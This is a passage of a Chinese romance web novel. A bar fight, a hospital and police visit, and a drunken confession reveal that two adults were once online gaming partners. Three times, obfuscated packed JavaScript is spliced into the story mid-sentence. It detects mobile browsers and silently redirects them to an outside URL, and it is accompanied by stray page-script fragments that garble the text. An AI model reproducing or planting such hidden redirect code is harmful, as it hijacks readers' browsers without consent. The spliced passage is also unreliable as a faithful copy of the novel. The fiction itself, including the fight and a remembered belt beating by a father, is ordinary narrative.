“这哥们有病?”苏新胜震惊地吐槽,身为酒吧老板他见过无数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364920|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭讪场面,这么奇葩的话术还真是稀世罕见。 姑娘脸色已经很差了,估计跟对象感情很好听不得这种贬低,扔下一句“神经”就拿着莫吉托起身准备换位置。男人却不依不饶,上手去拉她胳膊,“别走啊美女姐姐,你都骂我了,加微信多骂两句呗。” 姑娘实在受不了了,一甩胳膊却没甩掉,情急之下昂起手,手里的杯子一晃,兜头盖脸撒了男人半脸饮料。 “我靠!”男人大喊,抹了把脸,一改刚才谄媚的状态,扬起巴掌就扇到姑娘脸上,“你个婊子少给脸不要脸!” 姑娘猝不及防被这一巴掌扇歪身形撞在吧台上,手上的酒杯落到地上当啷地砸成碎片,吸引了周遭的目光。 苏新胜本来想作壁上观癞蛤蟆撞南墙的场面,没想到事态发展这么突然,从沙发上弹射起步冲了过去,一边朝吧台后面的调酒师姑娘喊:“小刘,拉住人!别动手!” 男人还想去拽姑娘的头发,小刘手往台桌上一撑就翻了出来,横在姑娘和男人之间把姑娘往后护着,一边谨记顾客是上帝的服务业准则:“这位客人,你喝多了!” “喝你妈多!她先泼人!”有人在后面嚷嚷,随后跟见腐肉的苍蝇一样围过来三个人,都是这男人的朋友,撸起袖子就要干架的模样,小刘招架不住,大喊:“胜哥救命啊!” 苏新胜人在江湖飘荡多年,见这几个醉汉就知道不是常规手段就能善终的,一边横插过来拦住要上手的男人,一边回头喊关时:“别愣着关狗帮我报警啊!” 但他回头的时候,发现刚刚两人喝酒的卡座是空的。 “草?”他眼前一花,后领被拎着往后拽了一把,关时的身影已经出现在前面。还来不及说话,关时已经抓住扇人巴掌的男人的衣领,一拳砸在他面颊上。 嘭的一声巨响,关时这一拳没怎么收力道,男人整个身子往后歪着摔在地上,鼻子里有血流出来。 “关时!”苏新胜吼出声,安静瞬间的人群回过神来似的立即炸开了锅,男人的几个朋友嚷嚷着就冲上来找场子,一对多的斗殴毫无征兆展开。 关时让过打头一人的拳头,捏住对方的手臂一拉,顺着惯性朝对方肚子就是一拳,再出第二拳照着鼻梁把人打得后退倒地。而后第二人第三人也拥上来,兜头盖脸一顿拳打脚踢。 几个男人都喝酒上头,动作没什么章法,好收拾,但毕竟人多,关时脸上还是挨了两下。 苏新胜是酒吧老板,不方便殴打顾客,但还是担心关时单枪匹马挨揍,于是打通了报警电话扔给小刘,一头扎进战局,还一边在炸锅的人群和乱吠的脏话里扯着嗓子吼关时的名字。 关时却跟没听见似的,明明喝了酒,眼睛却冷静又坚定地盯在那些吱哇乱叫的闹事者脸上,出拳又快又重,嘴角带着……笑。 苏新胜已经很久很久没见过这样的关时了,心里一紧,让着那些飞舞的手和脚,一把架住他的胳膊往后猛拽,“行了关狗!你想干嘛!把我这儿砸了吗!” 关时踉跄几步被甩靠在吧台边上,抬眸望了苏新胜一眼。 这一眼没什么情绪,又冷又戾,给苏新胜看得后背发凉。他猛地移开目光,朝那几个还想动手的男人大吼,“给我站到!报警了!警察来之前谁再动一下试试!” 警察的名头还是好使,几个醉汉一边飙脏话夹杂几句“让他们来”,一边慢慢地也收了手,骂骂咧咧地展示自己身上挂的彩讨要说法。 关时靠在吧台边沿垂着眸,脑子里有点空,旁边突然伸来一只手,他条件反射地拍开,抬头警惕地望向对方。 被扇巴掌的姑娘半边脸还是红的,手上拿着纸巾,被他拍开的动作吓了一跳,顿了有两秒才继续说:“嘴角,有血。” 关时后知后觉嘴里被犬齿刮破,血腥味充斥了口鼻。 姑娘把纸巾又往前递了递,“给你……” 关时估计自己现在的表情不怎么平和,姑娘的声音和手都在抖,似乎跟他搭话已经耗费了全部的勇气。 她在怕他。 关时看着她那张与程舒晚气质有两三分相似的脸,突然很想笑。 想着,他就真的在那姑娘有点恐慌的神情里像个神经病一样笑起来了。 刚刚老苏说什么来着。 程舒晚喜欢我? 我啊。 我吗。 晚上十二点,程舒晚准时下播,低头看了看手机,关时那边没有信息。 估计在聊天吧,她没太在意,整理完数据收拾东西下楼,跟裴哥打完招呼才刚走到门口手机铃声就响了,打进来一个电话。 是关星玥。 “程姐姐,你能联系上我哥吗?”关星玥问。 48. 自卑 “怎么了?”程舒晚一愣,“他只说没那么早回,应该在苏新胜的酒吧。” 关星玥有点着急,“我刚刚给他发消息打电话都没回,还问了胜哥,胜哥只叫我别担心就匆匆挂了……程姐姐,我有点怕,今天刚出那样的事。” 苏新胜说别担心……程舒晚心里一沉,但还是安抚关星玥:“没事儿玥玥,你先休息,我去酒吧那边看看。” “这么晚了……” “没事,不远。”程舒晚说。 苏新胜的酒吧她和谭婧去过,距离木吉网咖也就十分钟车程,从起名到装修都是一股子装逼味,好在酒水和调制水平不错——评价来自于酒蒙子谭婧,程舒晚自己喝不出来。 程舒晚一边打车,一边给苏新胜打电话,打了第二次才打通,着急火燎地坐上车,“大新,你们在酒吧吗?” 苏新胜那边有点吵,似乎有人在嚷嚷,他走远了些才听清,“我们不在,咋了,玥玥找你了?” “你长话短说,我在去酒吧的路上。”程舒晚干脆利落说道。 意识到程舒晚这雷厉风行的姑娘不好糊弄过去,苏新胜哑然须臾才叹了口气,“等会儿你到我店里,找小刘,那个你朋友夸过的调酒师,找她拿关时的车钥匙,然后开他车来大荷医院吧。” 一听医院,程舒晚没忍住:“你把郭楷打了?” “……那事儿我糊弄过去了,今晚是小冲突。”苏新胜道,“关时跟人打架了,现在在验伤。” “打架?”程舒晚今天的心脏真是过山车一样刺激,“他受伤了?” “放心,晚姐,”苏新胜笑了,“他英姿飒爽,一打四不落败。” “……”程舒晚一时不知道该说什么,酝酿许久才挤出来一句,“那他挺牛逼啊。” “关狗打架没输过!”苏新胜兴致勃勃,“你是没看到,他那……” “我夸他了吗?”程舒晚幽幽说道。 苏新胜:“……” 程舒晚还想问点情况,但苏新胜跟旁人说了点什么,回过头道:“晚姐你来了再说吧,我这边跟民警沟通下。” “好,等我过去。”程舒晚深吸一口气,“保持通讯。” 挂断之后,程舒晚尝试给关时拨去电话,但并没有接通,她等了一会儿关时也没有回消息。 她攥着手机,从车窗的倒影望见自己不安蹙着的眉头。 半夜十二点多,大荷医院急诊依然熙攘,拿着单子行色匆匆的医护和状态各异的患者各自繁忙,急诊室外走廊的长椅却像是开了屏蔽,关时靠在椅背上垂着头把脸埋在风衣里,似乎是睡着了。 有人靠近,他眼皮动了动,睁开眼抬起视线,映入眼帘的是一瓶矿泉水。 “还没醒?”递水的是年逾四十的民警大叔,微微发福,五官却透出满满的正气,正皱着眉头盯着他看,眼里的责备像是审视家里搞出烂摊子的小辈,恨铁不成钢,“喝这么多?” 关时的脑子已经开始难受了,强撑着表情应了声,“何叔。” “在这儿别喊我叔。”何警官皱眉把矿泉水扔他怀里,“老李上回说你店里有人闹事,你处理得很好,怎么这回反而倒退了?” 关时垂着眼没说话。 “快三十的人了跟毛头小子一样喝酒打架,你看看你脸上那块,”何警官指着他,“你家就你个顶梁柱,想想你妈你妹……” “我知道。”关时轻声打断。 何警官冷笑,“你知道就不会把自己喝成这样。出头很爽吗?我以为你已经改了那副冲动的性子!” 关时抿了抿嘴。 “你做事之前还是得多想想。”意识到自己话说重了,何警官哼了声,语气放缓了些,“好在那几个也就破点皮,没被你搞骨折,还算有些分寸……这事儿你有错,等会儿回所里调解,道歉态度诚恳点,听见没?” “嗯。”关时无精打采地点了个头。 何警官看不下去地“啧”了声,转身走进急诊,“喝没个正形。那边差不多了,你收拾下我们等会回所里。” 关时头也没抬,一动不动。 半夜的急诊是别样的战场,这会儿刚送来一个车祸的,乱乱糟糟地来,又急急匆匆被推去做手术,情绪激动的家属在走廊声泪俱下瘫倒在地,又被医护劝着才渐渐缓过来。 远处的长椅上躺着个疲倦的人,估计连轴转了一整天,披着件外套就沉沉睡去。三更半夜,缴费处仍排着队,稍远些的窗边,有人攥着缴费单和手机,一遍一遍打电话,末了怔怔地看着缴费单发愣,慢慢抱着头在墙角默然蹲下。 关时有点庆幸当初老爸不是死在医院,否则现在这里发生的每一幕,或许都会刺痛他的神经。 老爸为他人着想一生,最后连死都没有给他们更多的折磨,干脆利落。 不像他,七年前的冲突差点弄废自己一条胳膊,挖空半个家底来做治疗和打官司,现在闻到医院的消毒水味儿,体会到医院独有的嘈杂与寂静相互成就的窒息感,就条件反射地烦躁和恐惧。 像是泡在将将没过天灵盖的水池中,时刻紧绷往上才能呼吸到片刻的空气,稍有懈怠就被无边的水淹过,呛水窒息是迟早的事情,或许这次,或许下次。 要是哪天真的失控,会有谁拉得住他么。 走廊回归短暂的安静。关时抱着空荡荡的脑子迷迷糊糊要重新睡着的时候,突然察觉到又有人靠近。 有完没完。 他烦躁地重新睁眼抬眸,随即像是被按下暂停键,愣在当场。 冷白的走廊上,程舒晚站在跟前,齐胸的长发有点乱,也不知道是不是跑过来的,胸口还喘气地起伏。她微微低垂脑袋,脸藏在走廊顶光的阴影里,眼睛却亮得透明,一转不转望着他的脸。 被酒精浸染的脑子一团乱麻,关时霎时间分不清这到底是现实还是幻觉,但心里浮现出来的第一个念头是。 跑。 他几乎是弹簧一样从椅子上跳起来,可惜被上来的酒劲儿一阻,踉跄两步险些摔倒,下意识扶墙,被程舒晚伸手架住。 她的手温热,比以前要有了些力气,一下子扒拉住他,手上发力,把他强行按回椅子上。 “跑什么?”程舒晚缓了口气,说,“破相了怕我嘲笑?” 关时:“……” 他攥着手,像是犯了错的孩子一样无措和沉默。 “脸上的伤处理了吗?”程舒晚问,“其他地方没受伤吧?” “嗯。”关时只听见自己机械地发出一声应答。 程舒晚蹲下来查看他嘴角的淤青,凑的很近,幽幽的冷香若有似无地传过来,是她平日用的香水的味道。 “真会找地方打。”程舒晚嘀咕,“给玥玥回个电话吧,她担心死了。别乱跑,我去问问情况。” 她说罢起身,长发因动作而微微扬起,带着那阵淡淡的冷香转身时,关时动了动手指,毫无征兆地拉住她的手。 程舒晚脚步停顿,转过头来望他,“嗯?” 干燥的温度从她手心传来,关时不知道为什么要拉她,喉结滚动却没说出话,只是手上眷恋地紧了紧。 “只是问问情况,放心。”程舒晚在他脑袋上揉了下,“乖。” 关时:“……” 此女好像在蹬鼻子上脸。 但……也行。 他松开了手,目送程舒晚走进急诊室,她背影一如既往清瘦,像风,不为任何人停留。 可今晚,这阵风是为他刮起来的。 关时慢慢收回目光,摸出手机来,听话地点开妹妹的电话号码,给她报个平安。 事态还算明朗,喝了酒的男人搭讪不成动手打人,关时以暴制暴,双方都有错,回派出所之后喜提批评教育。 有意思的是这几个一开始借着酒劲气势汹汹的男人,进了派出所的门后突然醒了不少,一个个跟鹌鹑似的,对那姑娘又是道歉又是认怂,甚至一个劲夸关时打得好,是爷们儿。 那姑娘也不想生事端,接受了道歉和赔偿,把这一页轻轻翻过了。 事情处理得差不多,苏新胜和关时都喝了酒,程舒晚帮着跟民警沟通签字,放下笔时,望见刚刚做调解的老民警一直在打量她,有点疑惑。 “何警官,有话要说?”她问。 何警官回过神来,“噢,你说你是关时和新胜的朋友?” “嗯。” “哦……”何警官意味深长,片刻之后才嘀咕,“你们什么时候认识的?” ? 程舒晚有点莫名其妙,“有什么问题吗?” “哦,没事,”何警官扬手笑了笑,“那俩小子以前有事没事就给我们所里添麻烦,我跟他俩认识这么多年了,没见过你……能让关时信任到帮他处理这些事的朋友,还是女孩子,我没见过。” 程舒晚回头看了眼坐在办事大厅长椅上的关时,“他以前经常打架吗?” “谈不上打架,”何警官说,“以前有一伙地痞流氓纠缠他家的店,好几年呢,我们都一直处理着,大小伙子火气也大,偶尔没什么轻重,闹过来不少次。” 程舒晚啊了声。 “不过都过去了。”何警官摆了摆手,“后来遭了点事儿,也是终于开窍了吧,拼命考上了专插本,也收了性子走正道了……不知道今天怎么这么上头,程小姐,你们年轻人呢,说话应该比我管用,既然是朋友就劝他少喝点儿,真是,别活回去了。” 何警官一句一个嫌弃,但话里的关心并不少。程舒晚一点头,“添麻烦了。” 她转身朝苏新胜和关时的方向走,瞧见关时,恍惚间从记忆里翻出来一件事。 高二那年快结束时,从学校到父母,全员都进入了高考年备战状态,一天天跟打了鸡血似的,把重点大学描绘成天堂。她不是很信任他们口中“上了重本就人生无忧了”的评价,身边唯一上过大学的程舒恒忙着做研究生课题,她没好去打扰他。 那天她照例溜去网吧打游戏,突然想起这位搭子比自己年长两岁,刚好是大学生,于是开麦问:“二天,大学生活什么样的?好玩吗?” “嚯,反野呢,聊这么不合时宜的话题?”二更天打了个趣,“你想上什么学校?” 程舒晚想了想,“海大吧。” 耳机里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364921|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二更天一反常态地沉默了好几秒钟。 “这学校,”他有点恍惚,“是我知道的那所?” 程舒晚肯定了他的疑惑:“全国前几的那所。” “……”二更天沉默得更久了,最后幽幽地来了一句,“你……叉烧,我知道你是优等生,怎么这么优啊?” 优吗?程舒晚有点茫然,被对比和打压惯了,这么直白的夸赞她反而不知道该做什么反应,只呆呆地“昂”了声。 “你真是……”二更天吃掉对面野区的野怪,笑了,“那我的大学生活对你来说没什么参考价值。” 程舒晚:“嗯?” 二更天:“我是大专生。” 程舒晚:“……啊。” 她的确有点愣,在文山中学这种遍地卷王的地方,耳濡目染的“规则怪谈”之一就是“考上专科这辈子就没救了”,但二更天这哪里没救了? 他的游戏理解已经超越了绝大部分玩家,这种脑子放在其他事情上难道还能差了? “那我不是带坏你?”二更天又说,“你总跟我一起打游戏,没问题吗?” 程舒晚逐渐回神来,闻言忍不住犯嘀咕:“都一起打这么久了说什么傻逼话。” 大专生又怎么了,人又不是靠文凭来划分三六九等。 二更天道:“一码归一码,高材生有高材生的未来,你跟我不一样。” “有什么不一样?”程舒晚倔强地问,“都是人。” “人与人的差别……”二更天似乎还想说什么,但说到一半顿住了,话锋一转回到程舒晚一开始提出的问题上,“我学的金融,专业课有点水,不过我也没怎么听。” 他说起了自己的大学生活,程舒晚一边操纵人物打野,一边竖起耳朵听。 “社团挺丰富的,不过我也没加。”二更天无所谓地说,“食堂挺好吃的,便宜。” 噗。程舒晚笑了起来。 “我学校不远是本地重本,我也去逛过,跟我学校没什么太大差别,不过学生看起来更知书达理点儿,可能那就是真正会读书的人吧。” 程舒晚有点好奇,“哪所学校?” “朔江大学。” 空气安静了片刻,唰,程舒晚手一抖朝空处放了个技能。 “你说哪儿?”她反问,“朔江大学?你在朔江市?” “啊。”二更天也愣了,从她的反应中悟出什么来,“你不会也在朔江读书?” “是啊,”程舒晚有些激动,声音都拔高了,“我是文中的!好巧,有机会还能见个面呢。” 二更天笑了几声,沉默片刻。 “叉烧,”他说,“见面还是免啦。” 程舒晚高涨的热情被一盆冷水兜头浇下,“怎么了?” “一起打游戏上分就行,诺,我们都搭档到排行榜前二十了,不够吗?”二更天故作潇洒,“让我保持在你心里神秘的中路高手形象吧。” 程舒晚不记得那天这个话题是怎么结束的,只记得他数次留出半句让她云里雾里的话。当初不过十七八岁,懵懂的她未能参透那些停顿是何用意,但如今再回忆起这些她已经明白他未说出口的话是什么。 你走你的阳关道,我过我的独木桥。 给自己留点体面是他最后的坚持。 但是,不是的。 不是的,关时。 不是你自己这么觉得,就可以了。 凌晨两点多,程舒晚终于把两个酒鬼提溜出派出所。苏新胜很自觉地钻进汽车后排,关时坐上副驾,估计终于是醉了,沉默又乖巧。 “不好意思晚姐,”见关时丧失了说话能力,苏新胜承担起道谢的职责,“大半夜的还麻烦你陪我们折腾这一遭。” “小事。”程舒晚轻描淡写地系上安全带,发动汽车,“你家在哪?先送你。” “我回酒吧就行,得去处理其他事儿。”苏新胜笑嘻嘻的,“我一般天亮才回家。” “……好。” 回酒吧的路异常沉默。程舒晚侧目,关时闭着眼浅浅搭在窗玻璃上,往后褪去的路灯一下一下扫过他泛红的脸颊和嘴角的淤青,长长的眼睫清晰可见。 他似乎真的累了。 送苏新胜回酒吧之后,程舒晚调头回了红枫小区。老旧小区停车位十分紧张,又是大半夜的,程舒晚使出毕生所学,以头发丝级别的微操能力把车挤进崎岖的空位,这才松了口气,熄火拔钥匙。 关时还没醒,程舒晚俯身过去解开他的安全带,拍拍手臂,“关时,到了,回家睡。” 喊了好几声他都没动静,程舒晚停下来望着他的脸。关时蹙着眉,或许是做了噩梦,紧闭的眼睛似乎泛了点水光。 ……哭了吗? 周遭昏暗看不真切,程舒晚实在有些好奇,凑近过去伸出手指,轻轻碰了碰他的眼睫。 干的,应该是错觉……啧,真的很像趁着别人喝醉耍流氓,实在不太礼貌。 程舒晚刚浮现这个念头,指尖微痒,是眼睫毛扫过指腹的感觉。 她一愣,目光落下,正对上关时半睁开的眼睛。 我草。 49. 醉话 耍流氓被抓包,程舒晚触电般缩回手,但身子侧太过一下没回去,只能不尴不尬地卡在两座中间,舌头差点打结,“到小区了,我喊你,你,你,没醒。” 这苍白的解释没得到回应,关时半睁着眼皮,雾蒙蒙的眸子盯着她,看来还没清醒。 沉默。 程舒晚几乎听到自己浑身的血液都在往脸皮流动的声音。 “醒了就下车。”她强撑着所剩不多的尊严说道。 话音刚落,那双雾蒙蒙的眼睛突然在眼前放大,滚烫的体温带着些微酒意将她整个人包裹,紧接着肩膀一重,程舒晚反应过来时,关时已经把她抱在怀里,脑袋埋进了她的颈窝。 程舒晚:“……!” 这是干什么? 到底耍流氓的是谁啊! 关时把脸往她颈侧一埋就不动了,仿佛是换了个地方睡觉一样,但又抱得很紧,完全没有撒手的意思。程舒晚僵着身子大脑宕机,直到撑在座椅上的手快撑不住才回过神来,顿时气笑:“你他妈给我起来。” “不要。”关时居然还接了话。 “再不放手我告你骚扰。”她冷声警告。 关时动了一下,脑袋抬起半厘米,随后又沉了下去,声音沙哑:“对不起。” “知道对不起就他妈放……” “叉烧,”关时喃喃着重复了一遍,“对不起。” 程舒晚猛然熄火。 叉烧。 他第一次,不是以二更天的身份,而是以关时的身份当面喊出她的昵称。 这什么?坦白?还是单纯喝多了? 脑子里嘀哩咕噜乱成一锅粥,程舒晚强忍着就这么稀里糊涂把粥端起来喝了的想法,压着情绪一句句问清楚:“叉烧是谁?” “叉烧就是叉烧。”关时迷迷瞪瞪地说。 看来是喝大了。 程舒晚登时没了兴致:“知道了……” 关时:“叉烧还是阿早。” “……” “叉烧还是舒晚。”关时抱得更紧了些,“是你。” “……” 程舒晚沉默半晌,平静地问:“你对不起什么?” “我当年没等你,没跟你说再见。”关时的声音轻得在飘,却依然字字清晰,“害你,等我七年。” 七年。 程舒晚鼻腔突然酸了。 “谁在等你,”她十分嘴硬地否认,说不好是不是恼羞成怒,“这种话还是等你没喝醉的时候说比较有说服力。” 她抬手扒这家伙的胳膊,企图把他从自己身上撕下来,但这狗跟他妈的壁虎一样挂她身上了,力气又大得很,纹丝不动的。 “别讨厌我,”关时喃喃,“是不是在生我的气。” 这家伙喝醉了真是狗啊。 “起开。”程舒晚愤愤瞪他。 关时:“我不是故意的。我当时只是……害怕。” 程舒晚推开他的手一顿。 开朗的,热情洋溢的,事事都游刃有余的青年,第一次说出“害怕”这个词汇。 关时抬起头,眼里蒙了层看不清眸光的水雾,不知是酒精作用还是悲从中来,眼眶和鼻尖都是红的。 “约好的那天我等了你一晚上,你没上线。”他嗓音酸涩沙哑,委屈得要命,“我以为你不要我了。” 程舒晚:“……” 她怔然望着关时,什么话都说不出来。 “你为什么没来。”关时借着醉意,什么话都开始往外倒,“我怕死了,我怕我耽误你高考,怕你嫌弃我,还怕看我不顺眼的傻逼知道你的存在……我有,好多话要说,你为什么没来!” “我……”程舒晚哽了一声,嗓子也有点发哑,“我不……” 她还没说完,关时身体往前一栽,又倒在她肩上没了声息。 程舒晚:“……” 她晃了他好几下,关时这会儿彻底没了动静,真睡着了。 怎么有人喝醉了这么一波未平一波又起的,把她当什么玩意儿了。程舒晚坐在那推开他也不是,后退也不是,就雕塑般定格在那半晌,微微叹息。 “我那天去网吧了。”她轻声说,“我记得我们约好了要打活动,你说你要送我皮肤。” 关时没有回应,在她肩上一动不动。 “但我还没登游戏就被我爸逮了。”程舒晚继续说道,“他发了很大的火,当着网吧所有人的面,用皮带抽在我背上。” “我想躲来着,他把我推倒在地上,头磕到桌角差点给我磕晕了,他趁机又打了我很多下。我想找老板帮我报警,但老板怕让未成年人上网这件事被处罚,没帮我。最后我爸把皮带打断了……我估计皮带本身质量就不怎么样吧,我记得没有特别疼。” “但是他好多下抽在我手上,回家后他被我妈骂了一顿,说不应该打手,被老师同学看到影响不好,而且打伤了拿不了笔怎么办,要是学习下降,高考还考不考了。” “关时。”程舒晚轻声说,“我不是故意不去的。那天之后我托谭婧给你发了好多消息,帮我看你有没有上线,但你就此消失了,我联系不上你。” 这七年,她一直在想。 为什么只是一次意外失约,她就失去了最喜欢的游戏搭子。 虽然是她有错在先,但不是故意的,惩罚也要这么严重吗? 但现在她终于明白,这不是一个人的惩罚,而是两个人的作茧自缚。 她和关时。 小鬼叉烧和二更天。 两个少年都曾困在泥潭当中,望不到未来的方向。 所幸他们都没有被束缚住,七年之后的现在,她真真切切地触碰到当初遥不可及的少年。 程舒晚伸出双手,动作轻柔又沉重地拥抱了熟睡的关时。 “二天。”她慢慢说道,“我不会再失约了,我保证。” “你也,别退缩。” 第二天关时醒来的时候是在自己房间,头仍然疼着,蒙了好久才摸闹钟看时间,接近中午十一点半,隔着紧闭的房门能听见姚婉婷在厨房炒菜的声音。 他闭眼缓了会儿,点亮手机,当头一条就是程舒晚的消息。 “醒没?” 发消息的时间是半小时前。 他从床上坐起来,当即回复“醒了”。 消息界面没有动静,他掀开被子下床,扶着桌沿又缓了好一会儿头才没那么晕,拉开窗帘接受阳光的洗礼。 还是不要轻易喝那么多酒,头疼。 醒得差不多,他打开房间门准备去洗漱,一眼就看到正对的厨房里姚婉婷在锅前忙活,而在水槽那儿洗碗的,居然是程舒晚。 “哟,大英雄醒啦?”还没来得及提出疑惑,来自妹妹的阴阳怪气先一步到达,“怎么不多喝点直接睡派出所啦?” 话多的妹子正坐在客厅的沙发上,手边是本满是笔记的旧课本,一脸挑衅地盯着他。 关时眯眼回瞪,决定不与妹妹一般见识,一边走出来一边抬手把睡翘的头发顺平,“昨晚我怎么回来的?” “程姐姐大半夜接你回来的。”关星玥说,“你不记得了?你还是自己走进家门,换了衣服才睡的,断片啦?” “不记得了。”关时顿了顿,往厨房望了眼,“你程姐一早就下来了?” 关星玥扬了扬手里的旧课本:“十点多吧,她说在家里翻到程老师以前的历史笔记,带来给我看看。” 关时啧了声,“那怎么坐这里心安理得让人家在厨房打下手?” “冤枉啊老哥,程姐说要借烤箱做点甜品,结果进厨房之后一切都发展太快了!”关星玥大喊冤枉,“妈都没拦住程姐帮忙啊!” 关时叹了口气。 关星玥笑嘻嘻地凑过来,小声问:“我说哥,什么时候把程姐变成我准嫂子?” ? 关时盯着关星玥半晌,伸手给她一个脑瓜崩。 “喂!”关星玥差点跳起来揍他,关时笑着躲开,转身朝厨房走过去。 姚婉婷炒完最后一个菜,程舒晚正准备帮着把用完的炒锅洗了,扭头看见关时走进来。 “别忙了,”他伸手把锅拦截,“你去坐着,我来收拾。” 程舒晚上下打量关时。 昨晚在车上她自言自语那一长串之后没一会儿就强行把关时叫醒了,一半扶一半拽将他弄进电梯,好在这家伙虽然醉了也能勉强站着,也好在姚婉婷等到凌晨也没睡觉,从程舒晚手里把他接过,她这才终于放心。 宿醉带来的影响没那么快消除,关时脸色依然显疲,但除此之外,程舒晚没能看出更多的情绪。 “你昨晚没休息好吧,”关时见她没说话,笑了声,“折腾那么晚还一大早过来,你把睡眠进化掉了?” “……”好熟悉的损嘴环节。 “别跟着忙了程囡,”姚婉婷也笑眯眯地帮腔,“让这小子收尾,洗个手准备吃饭吧。” “嗯。”程舒晚没坚持,退出了厨房。 姚婉婷打湿了抹布擦灶台,关时刷锅,厨房里沉默片刻后,姚婉婷诶了关时一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯。”程舒晚没有推辞,于情于理他都该请一顿的,“昨晚……” ……昨晚我们说的那些话,你记不记得? 程舒晚不知道怎么问出这个问题,话已经到嘴边,但又忐忑听不到自己想要的回答,卡壳须臾。 不记得的话,他们还能继续玩那心知肚明的扮演游戏,等到某天败露再把一切说开。 可是记得的话……她该拿什么身份去面对关时? 她又想要听到什么回答呢? “昨晚,”就这片刻的档口,关时收拢眉眼接话,“我做了什么失礼的事吗?” ……? “你……”程舒晚盯着他真诚的表情,“真不记得?一点都不记得?” “是很让你印象深刻的事情?”关时问,“还是说了什么失礼的话?” 程舒晚咬着舌尖,升温的天气里,她的缄默凉得能冻住空气。 “没关系。”半晌,她终于收回目光往前走,“不是什么重要的事情。” 关时轻轻“哦”了声。 沉默。 关时大跨两步跟上来,“你生气了。” 程舒晚脚步不停,眼也不抬,“都说没关系了。” “你不知道吗?”关时笑了下,“你生气的时候虽然不说话,但牙咬得很紧,这儿会鼓起来。” 他戳了戳自己下颌线上方咬肌的位置,“是不是想咬死我?” “……”程舒晚站定,撇头飞了他一眼,“什么时候能改改以为别人生气就要说俏皮话逗人的坏习惯?” 关时依然是悠悠的样子,“那你生什么气,不说吗?” 程舒晚瞪着他,随即发现自己又咬着后槽牙了,只能委屈舌头在牙关中间劝个架,扭头继续往前走。 “我猜,”关时开口,“是不是在生气明明说了那么多话,我还是退缩了?” 程舒晚脚步猛然停顿。 ——二天,我不会再失约了,我保证。 ——你也,别退缩。 关时这句话蹦得太突然,程舒晚表情空白了两秒才反应过来。 他听见了。 他记得她最后说的话。 那在那之前的那些,难道也? “我醒着。”关时望着她的背影,声音缓慢,“从睁开眼,到走进家门,从头到尾。” 他的声音沉稳又坚定地传进程舒晚的耳朵里—— “我都记得。” 50. 坦白 关时做了个梦。 他梦见程舒晚戴着耳机坐在电脑跟前,手指灵动操作游戏,身边围着一群看不清脸的人,或欢呼或夸赞,以她为中心热火朝天地聊着,气氛快活。 不过,那快活的气氛里没有他。 他站在遥远的地方远远望着,想走过去,但双腿如灌铅般凝滞,不得不低头看去。 率先入眼的是满目猩红,他双足被血水淹没,随着抬腿的动作泛起腥气的涟漪。像是块海绵,血水从小腿慢慢渗进骨子,毒蛇般往上爬,浸染他全身。 哪怕是在梦中,他也真切感受到了寒冷与眩晕。 不,他不能就这么走过去,若无其事地融入那群人之中。 他不能触碰她,会把她干净的衣服弄脏。 她身边的朋友们,那些厉害的人,也会嫌弃他身上肮脏的血。 挫败和自嘲填满胸腔,他转身,往相反的方向走。 “关时。”有人喊他,是程舒晚的声音。他顿了顿,没回头,任由程舒晚的声音消失在身后。 “二天。”喊他昵称的声音再次响起,这次却青涩不少。关时微怔,猛然扭头,方才热闹的场面已然不见,空荡荡的黑暗中只有一个清瘦的,穿着文中校服的少女站在那儿,孤零零的。 关时极力也看不清她的五官,却能察觉到她正望着他。 “你要走了吗?”少女问,“要丢下我了吗?” 关时张嘴回答,却发不出任何声音。 我不能耽误你。他无声说。 “你不在的这些年,我考上了心仪的大学,当过了游戏主播,认识了很多打游戏很厉害的人。”少女说。 “我也被亲戚背叛,遭到陌生人的诋毁和造谣,失去所有朋友,也尘封了热爱的工作。” “二天,我这些年,其实过得不好。” “都是因为你当初扔掉了我。” 少女的话锋急转直下,声音冰冷地说完最后一句话,转身往黑暗的虚空中走去。 等等! 别走……我不是! 关时想叫住她却死活喊不出声来,他奋力往前追赶,但眼前的一切都扭曲起来,崩塌似的破碎晃动,他努力睁大眼,却再也看不见那少女的身影。 然后他醒了。 才睁开眼睛,面前就是程舒晚那张五官立体气质清冷的靓脸。 从梦中醒来的几秒钟内,人是难以分清现实和梦境的,一瞬间他以为是那姑娘舍不得他折返回来了,顾不得听她说什么,张开手臂将她抱进怀里。 三四秒之后,他才意识到这已经不在梦里了,刚刚那些孤独的画面和责备的话都不是真实的。而真实的程舒晚,此刻正在自己怀中。 很突然的,几个小时前苏新胜问他的那些话毫无征兆地在脑海里浮现出来。 你喜欢晚姐吧? 你要瞒到什么时候?你是二更天这件事。 晚姐是聪明人,别以为你什么都不说她就什么都看不出来。 但晚姐喜欢你吧? 关时当时没有回答。 他讨厌自己过去的青涩和毛躁,但同样喜欢不起来现在的犹豫和假装,害怕被报以期待的目光热烈注视,却也忐忑真的被忽略抛弃,担心自己能否给予他人价值,又忧虑给得太多影响他人决断。 